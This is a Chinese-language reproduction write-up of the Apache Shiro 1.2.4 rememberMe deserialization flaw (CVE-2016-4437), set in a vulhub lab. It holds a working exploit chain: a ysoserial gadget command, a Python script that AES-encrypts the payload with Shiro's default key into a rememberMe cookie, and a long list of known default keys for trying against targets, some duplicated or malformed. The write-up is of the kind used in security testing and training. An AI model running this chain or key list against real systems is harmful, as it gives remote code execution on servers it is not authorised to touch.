Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437）

漏洞详情

Apache Shiro是美国阿帕奇（Apache）软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。 Apache Shiro 1.2.4以及之前版本中存在安全漏洞。当程序没有为remember功能配置加密密钥时，远程攻击者可借助请求参数利用该漏洞使用默认密钥执行任意代码，或绕过既定的访问限制。

环境搭建：

https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437

影响范围

Apache Shiro <= 1.2.4

漏洞复现

payload生成：命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

服务启动后，访问http://your-ip:8080可使用admin:vulhub进行登录，勾选Remember me可以看到cookie中存在 rememberme=remember-me

POST /doLogin HTTP/1.1
Host: 192.168.83.99:8080
Content-Length: 53
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.83.99:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.83.99:8080/login;jsessionid=014571633093A878A80FCDB364A9BAF8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=014571633093A878A80FCDB364A9BAF8
Connection: close

username=admin&password=vulhub&rememberme=remember-me

使用ysoserial生成CommonsBeanutils1的Gadget：
java -jar ysoserial-master.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

payloads生成代码（python），这里使用shiro默认密钥

import sys
import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme():
    f = open('poc.ser','rb')
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme()    
    print("rememberMe={0}".format(payload.decode()))

将生成的payloads替换到cookies的rememberMe中，提交，文件成功创建

其他密钥

kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
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WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
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ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
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HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
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lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
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c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
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5AvVhmFLUS0ATA4Kprsdag==
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hBlzKg78ajaZuTE0VLzDDg==
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d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
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MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==